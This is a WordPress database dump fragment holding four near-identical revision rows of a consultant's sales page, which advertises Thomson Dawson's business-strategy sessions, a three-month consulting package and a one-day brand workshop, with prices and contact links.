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(2654, 2, '2014-06-29 11:10:56', '2014-06-29 18:10:56', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>"My passion is helping you turn your possibilities into acheivement and help you take your business to the next level of success."</h2>\r\n<h6>Thomson Dawson\r\nStrategic Business Transformation Consultant\r\nTo Entrepreneurs, Solo Professionals and Small Business Leaders</h6>\r\n<h2>Strategic and creative consulting exclusively for creative entrepreneurs, solo professionals and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nAt every stage of business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are tirelessly working heads down in their business. Their days are usually consumed with the distracting detail of managing their current circumstances, few are innovating a strong foundation for their bigger better future. Most entrepreneurs focus on the urgent aspects of running their business rather than the more important focus and mastery of creating new value for higher value customers and clients.\r\n<h3><strong>My passion is to inspire, guide and advise you and your team to focus on new ideas, innovative strategies and effective tactics to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four essential strategic disciplines:</strong></h3>\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money making.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by customers and clients who wouldn''t think of doing business with anyone else.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand strategy, development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is a rent-my-brain-business-life-creative strategy-burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web presence and social media strategy  happening, or find better clients and customers. Whatever the issue, we’ll quickly get to work helping you gain the clarity and confidence you need to help you break free from roadblocks  and get you moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87f06;"><em><a title="Book my Power Session" href="mailto://thomson@whitehotcenter.com" target="_blank">Book your Power Session with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together over a three-month period to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6><strong>Investment: $2500 USD per month  (3-month minimum engagement)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87106;"><em><a title="Quantum Leap Consulting" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more about this business transformation consulting in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>One-Day Brand Strategy and Business Development Workshop For Emerging Companies</strong>\r\nThis issue-based, highly facilitated one-day workshop designed for business leaders and their teams who seek more insight, creative thinking, focus and consensus on overcoming specific brand strategy, business development or business transformation challenges. Typically organizations are inventing new business models, launching new products or transforming their business for the next level of growth. Client organizations for this level of of consulting have annual revenue of $5-50milliom+.\r\n\r\nThere are four key areas of focus within the workshop day to help you build your strategic road map and make the right decisions for achievement of your business goals:\r\n\r\n<strong>•  To whom you market, identifying higher value clients who are the best fit for your business.</strong>\r\n\r\n<strong>•  What makes your offerings highly valued by customers and difficult for them to substitute.</strong>\r\n\r\n<strong>•  How to effectively express and message your brand positioning, value proposition and brand story in the marketplace.</strong>\r\n\r\n<strong>•  Creating more value at every touch point in the value chain with your customers and clients.</strong>\r\n\r\nThe workshop program includes a pre workshop assessment of the specific business development challenges you’re currently facing, appropriate workshop planning, workshop facilitation, and the post workshop preparation of an Executive Summary documenting the key insights, hypothesis, and strategic decisions discussed in the workshop session that will guide your next steps.\r\n<h6><strong>Investment: $7,500 USD plus travel expenses<em></em></strong></h6>\r\n<h3><span style="color: #f88406;"><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more about the One Day Brand Strategy Workshop in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of strategic business development expertise.</strong>\r\nI have nearly three decades of experience working with hundreds of executives in global companies and startups alike to bring new value to the marketplace.  As a life-long entrepreneur myself, I also know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future and creates sustained financial success.\r\n\r\nFrom my own experience, I know first hand the daily challenges and struggles with value creation, business development, sales, managing client/customer expectations, managing staff and collaborators that face all entrepreneurs along their way to building a successful business.\r\n<h2>Allow me to help you gain the clarity and confidence to create the success you desire in your business and in your whole life!</h2>\r\n<h2><strong></strong><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best client relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to describe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, and leaders and teams in small business organizations. All my clients have a high degree of ambition and determination to succeed, and they''re at an inflection point in their journey seeking insight, inspiration and knowledge to help them elevate their success to the next level. They proactively invest financial resources for their future success into all areas of their business.\r\n\r\nIndividual entrepreneurs and professional clients have minimum annual incomes of $150,000+ and are seeking insight, knowledge and advise to double and triple that amount. The small business organizations I serve have annual sales or service billing revenue in the $5 - $50 million+ range.<em></em>\r\n<h1><em><a title="Work with Thomson dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">Work With Thomson Dawson</a></em></h1>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2014-06-29 11:10:56', '2014-06-29 18:10:56', '', 138, 'http://www.whitehotcenter.com/2014/06/138-revision-214/', 0, 'revision', '', 0),
(2655, 2, '2014-06-29 11:11:57', '2014-06-29 18:11:57', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>"My passion is helping you turn your possibilities into acheivement and help you take your business to the next level of success."</h2>\r\n<h6>Thomson Dawson\r\nStrategic Business Transformation Consultant\r\nTo Entrepreneurs, Solo Professionals and Small Business Leaders</h6>\r\n<h2>Strategic and creative consulting exclusively for creative entrepreneurs, solo professionals and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nAt every stage of business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are tirelessly working heads down in their business. Their days are usually consumed with the distracting detail of managing their current circumstances, few are innovating a strong foundation for their bigger better future. Most entrepreneurs focus on the urgent aspects of running their business rather than the more important focus and mastery of creating new value for higher value customers and clients.\r\n<h3><strong>My passion is to inspire, guide and advise you and your team to focus on new ideas, innovative strategies and effective tactics to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four essential strategic disciplines:</strong></h3>\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money making.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by customers and clients who wouldn''t think of doing business with anyone else.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand strategy, development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is a rent-my-brain-business-life-creative strategy-burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web presence and social media strategy  happening, or find better clients and customers. Whatever the issue, we’ll quickly get to work helping you gain the clarity and confidence you need to help you break free from roadblocks  and get you moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87f06;"><em><a title="Book my Power Session" href="mailto://thomson@whitehotcenter.com" target="_blank">Book your Power Session with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together over a three-month period to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6><strong>Investment: $2500 USD per month  (3-month minimum engagement)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87106;"><em><a title="Quantum Leap Consulting" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more about this business transformation consulting in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>One-Day Brand Strategy and Business Development Workshop For Emerging Companies</strong>\r\nThis issue-based, highly facilitated one-day workshop designed for business leaders and their teams who seek more insight, creative thinking, focus and consensus on overcoming specific brand strategy, business development or business transformation challenges. Typically organizations are inventing new business models, launching new products or transforming their business for the next level of growth. Client organizations for this level of of consulting have annual revenue of $5-50milliom+.\r\n\r\nThere are four key areas of focus within the workshop day to help you build your strategic road map and make the right decisions for achievement of your business goals:\r\n\r\n<strong>•  To whom you market, identifying higher value clients who are the best fit for your business.</strong>\r\n\r\n<strong>•  What makes your offerings highly valued by customers and difficult for them to substitute.</strong>\r\n\r\n<strong>•  How to effectively express and message your brand positioning, value proposition and brand story in the marketplace.</strong>\r\n\r\n<strong>•  Creating more value at every touch point in the value chain with your customers and clients.</strong>\r\n\r\nThe workshop program includes a pre workshop assessment of the specific business development challenges you’re currently facing, appropriate workshop planning, workshop facilitation, and the post workshop preparation of an Executive Summary documenting the key insights, hypothesis, and strategic decisions discussed in the workshop session that will guide your next steps.\r\n<h6><strong>Investment: $7,500 USD plus travel expenses<em></em></strong></h6>\r\n<h3><span style="color: #f88406;"><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more about the One Day Brand Strategy Workshop in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of strategic business development expertise.</strong>\r\nI have nearly three decades of experience working with hundreds of executives in global companies and startups alike to bring new value to the marketplace.  As a life-long entrepreneur myself, I also know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future and creates sustained financial success.\r\n\r\nFrom my own experience, I know first hand the daily challenges and struggles with value creation, business development, sales, managing client/customer expectations, managing staff and collaborators that face all entrepreneurs along their way to building a successful business.\r\n<h2>Allow me to help you gain the clarity and confidence to create the success you desire in your business and in your whole life!</h2>\r\n<h2><strong></strong><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best client relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to describe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, and leaders and teams in small business organizations. All my clients have a high degree of ambition and determination to succeed, and they''re at an inflection point in their journey seeking insight, inspiration and knowledge to help them elevate their success to the next level. They proactively invest financial resources for their future success into all areas of their business.\r\n\r\nIndividual entrepreneurs and professional clients have minimum annual incomes of $150,000+ and are seeking insight, knowledge and advise to double and triple that amount. The small business organizations I serve have annual sales or service billing revenue in the $5 - $50 million+ range.<em></em>\r\n<h1><em><a title="Work with Thomson dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">Work With Thomson Dawson</a></em></h1>\r\n&nbsp;\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2014-06-29 11:11:57', '2014-06-29 18:11:57', '', 138, 'http://www.whitehotcenter.com/2014/06/138-revision-215/', 0, 'revision', '', 0),
(2657, 2, '2014-06-29 11:19:19', '2014-06-29 18:19:19', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>"My passion is helping you turn your possibilities into acheivement and help you take your business to the next level of success."</h2>\r\n<h6>Thomson Dawson\r\nStrategic Business Transformation Consultant\r\nTo Entrepreneurs, Solo Professionals and Small Business Leaders</h6>\r\n<h2>Strategic and creative consulting exclusively for creative entrepreneurs, solo professionals and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nAt every stage of business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are tirelessly working heads down in their business. Their days are usually consumed with the distracting detail of managing their current circumstances, few are innovating a strong foundation for their bigger better future. Most entrepreneurs focus on the urgent aspects of running their business rather than the more important focus and mastery of creating new value for higher value customers and clients.\r\n<h3><strong>My passion is to inspire, guide and advise you and your team to focus on new ideas, innovative strategies and effective tactics to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four essential strategic disciplines:</strong></h3>\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money making.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by customers and clients who wouldn''t think of doing business with anyone else.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand strategy, development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is a rent-my-brain-business-life-creative strategy-burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web presence and social media strategy  happening, or find better clients and customers. Whatever the issue, we’ll quickly get to work helping you gain the clarity and confidence you need to help you break free from roadblocks  and get you moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87f06;"><em><a title="Book my Power Session" href="mailto://thomson@whitehotcenter.com" target="_blank">Book your Power Session with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together over a three-month period to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6><strong>Investment: $2500 USD per month  (3-month minimum engagement)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87106;"><em><a title="Quantum Leap Consulting" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more about this business transformation consulting can help you get to the next level of success in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>One-Day Brand Strategy and Business Development Workshop For Emerging Companies</strong>\r\nThis issue-based, highly facilitated one-day workshop designed for business leaders and their teams who seek more insight, creative thinking, focus and consensus on overcoming specific brand strategy, business development or business transformation challenges. Typically organizations are inventing new business models, launching new products or transforming their business for the next level of growth. Client organizations for this level of of consulting have annual revenue of $5-50milliom+.\r\n\r\nThere are four key areas of focus within the workshop day to help you build your strategic road map and make the right decisions for achievement of your business goals:\r\n\r\n<strong>•  To whom you market, identifying higher value clients who are the best fit for your business.</strong>\r\n\r\n<strong>•  What makes your offerings highly valued by customers and difficult for them to substitute.</strong>\r\n\r\n<strong>•  How to effectively express and message your brand positioning, value proposition and brand story in the marketplace.</strong>\r\n\r\n<strong>•  Creating more value at every touch point in the value chain with your customers and clients.</strong>\r\n\r\nThe workshop program includes a pre workshop assessment of the specific business development challenges you’re currently facing, appropriate workshop planning, workshop facilitation, and the post workshop preparation of an Executive Summary documenting the key insights, hypothesis, and strategic decisions discussed in the workshop session that will guide your next steps.\r\n<h6><strong>Investment: $7,500 USD plus travel expenses<em></em></strong></h6>\r\n<h3><span style="color: #f88406;"><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more about how the One Day Brand Strategy Workshop can help you create a foundation for building the value of your brand in a conversation with Thomson.</a></em></span></h3>\r\n<h2> <strong>Why work with me?</strong></h2>\r\n<strong>Three decades of strategic business development expertise.</strong>\r\nI have nearly three decades of experience working with hundreds of executives in global companies and startups alike to bring new value to the marketplace.  As a life-long entrepreneur myself, I also know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future and creates sustained financial success.\r\n\r\nFrom my own experience, I know first hand the daily challenges and struggles with value creation, business development, sales, managing client/customer expectations, managing staff and collaborators that face all entrepreneurs along their way to building a successful business.\r\n<h2>Allow me to help you gain the clarity and confidence to create the success you desire in your business and in your whole life!</h2>\r\n<h2><strong></strong><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best client relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to describe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, and leaders and teams in small business organizations. All my clients have a high degree of ambition and determination to succeed, and they''re at an inflection point in their journey seeking insight, inspiration and knowledge to help them elevate their success to the next level. They proactively invest financial resources for their future success into all areas of their business.\r\n\r\nIndividual entrepreneurs and professional clients have minimum annual incomes of $150,000+ and are seeking insight, knowledge and advise to double and triple that amount. The small business organizations I serve have annual sales or service billing revenue in the $5 - $50 million+ range.<em></em>\r\n<h1><em><a title="Work with Thomson dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">Work With Thomson Dawson</a></em></h1>\r\n&nbsp;\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2014-06-29 11:19:19', '2014-06-29 18:19:19', '', 138, 'http://www.whitehotcenter.com/2014/06/138-revision-217/', 0, 'revision', '', 0),
(2656, 2, '2014-06-29 11:17:06', '2014-06-29 18:17:06', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>"My passion is helping you turn your possibilities into acheivement and help you take your business to the next level of success."</h2>\r\n<h6>Thomson Dawson\r\nStrategic Business Transformation Consultant\r\nTo Entrepreneurs, Solo Professionals and Small Business Leaders</h6>\r\n<h2>Strategic and creative consulting exclusively for creative entrepreneurs, solo professionals and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nAt every stage of business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are tirelessly working heads down in their business. Their days are usually consumed with the distracting detail of managing their current circumstances, few are innovating a strong foundation for their bigger better future. Most entrepreneurs focus on the urgent aspects of running their business rather than the more important focus and mastery of creating new value for higher value customers and clients.\r\n<h3><strong>My passion is to inspire, guide and advise you and your team to focus on new ideas, innovative strategies and effective tactics to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four essential strategic disciplines:</strong></h3>\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money making.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by customers and clients who wouldn''t think of doing business with anyone else.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand strategy, development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is a rent-my-brain-business-life-creative strategy-burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web presence and social media strategy  happening, or find better clients and customers. Whatever the issue, we’ll quickly get to work helping you gain the clarity and confidence you need to help you break free from roadblocks  and get you moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87f06;"><em><a title="Book my Power Session" href="mailto://thomson@whitehotcenter.com" target="_blank">Book your Power Session with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together over a three-month period to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6><strong>Investment: $2500 USD per month  (3-month minimum engagement)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87106;"><em><a title="Quantum Leap Consulting" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more about this business transformation consulting can help you get to the next level of success in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>One-Day Brand Strategy and Business Development Workshop For Emerging Companies</strong>\r\nThis issue-based, highly facilitated one-day workshop designed for business leaders and their teams who seek more insight, creative thinking, focus and consensus on overcoming specific brand strategy, business development or business transformation challenges. Typically organizations are inventing new business models, launching new products or transforming their business for the next level of growth. Client organizations for this level of of consulting have annual revenue of $5-50milliom+.\r\n\r\nThere are four key areas of focus within the workshop day to help you build your strategic road map and make the right decisions for achievement of your business goals:\r\n\r\n<strong>•  To whom you market, identifying higher value clients who are the best fit for your business.</strong>\r\n\r\n<strong>•  What makes your offerings highly valued by customers and difficult for them to substitute.</strong>\r\n\r\n<strong>•  How to effectively express and message your brand positioning, value proposition and brand story in the marketplace.</strong>\r\n\r\n<strong>•  Creating more value at every touch point in the value chain with your customers and clients.</strong>\r\n\r\nThe workshop program includes a pre workshop assessment of the specific business development challenges you’re currently facing, appropriate workshop planning, workshop facilitation, and the post workshop preparation of an Executive Summary documenting the key insights, hypothesis, and strategic decisions discussed in the workshop session that will guide your next steps.\r\n<h6><strong>Investment: $7,500 USD plus travel expenses<em></em></strong></h6>\r\n<h3><span style="color: #f88406;"><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more about the One Day Brand Strategy Workshop can help you create a foundation for building the value of your brand in a conversation with Thomson.</a></em></span></h3>\r\n<h2> <strong>Why work with me?</strong></h2>\r\n<strong>Three decades of strategic business development expertise.</strong>\r\nI have nearly three decades of experience working with hundreds of executives in global companies and startups alike to bring new value to the marketplace.  As a life-long entrepreneur myself, I also know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future and creates sustained financial success.\r\n\r\nFrom my own experience, I know first hand the daily challenges and struggles with value creation, business development, sales, managing client/customer expectations, managing staff and collaborators that face all entrepreneurs along their way to building a successful business.\r\n<h2>Allow me to help you gain the clarity and confidence to create the success you desire in your business and in your whole life!</h2>\r\n<h2><strong></strong><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best client relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to describe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, and leaders and teams in small business organizations. All my clients have a high degree of ambition and determination to succeed, and they''re at an inflection point in their journey seeking insight, inspiration and knowledge to help them elevate their success to the next level. They proactively invest financial resources for their future success into all areas of their business.\r\n\r\nIndividual entrepreneurs and professional clients have minimum annual incomes of $150,000+ and are seeking insight, knowledge and advise to double and triple that amount. The small business organizations I serve have annual sales or service billing revenue in the $5 - $50 million+ range.<em></em>\r\n<h1><em><a title="Work with Thomson dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">Work With Thomson Dawson</a></em></h1>\r\n&nbsp;\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2014-06-29 11:17:06', '2014-06-29 18:17:06', '', 138, 'http://www.whitehotcenter.com/2014/06/138-revision-216/', 0, 'revision', '', 0);
